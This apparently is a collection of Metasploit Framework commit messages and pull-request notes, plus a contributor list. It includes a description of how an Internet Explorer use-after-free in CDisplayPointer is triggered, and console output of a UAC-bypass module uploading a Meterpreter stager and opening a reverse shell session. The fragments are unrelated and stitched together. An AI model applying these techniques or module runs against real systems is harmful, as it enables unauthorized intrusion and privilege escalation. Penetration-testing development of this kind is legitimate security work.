We use system %PATH% for notepad executable instead of the absolute
path, because it caused a problem with the migrate script in a 64-bit
meterpreter session. By default the wordpad binary is not in the
%PATH%, so the condition in hp_nnm_ovbuildpath_textfile.rb was not
changed.
I didn't even realize we already added this in server.rb. So instead
of just escaping the OS parameter, we also encode the data in base64.
I also added prependmigrate to avoid unstable conditions for the payload.
* Period at the end of a description.
* Methods shouldn't be meth_name! unless the method is destructive.
* "Setup" is a noun, "set up" is a verb.
* Use the clunky post module naming convention.
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
* Random filename
* Stop shipping debug strings to the exploit executable
Also makes the writable path configurable, so we don't always have to
use /tmp in case it is mounted noexec, etc.
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400
meterpreter >
With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
sinn3r
jvazquez-r7
joev
Meatballs
Norbert Szetei
James Lee
Tod Beardsley
Davy Douhine
bcoles
MrXors
William Vu
Joe Barrett
pyoor
Rob Fuller
trustedsec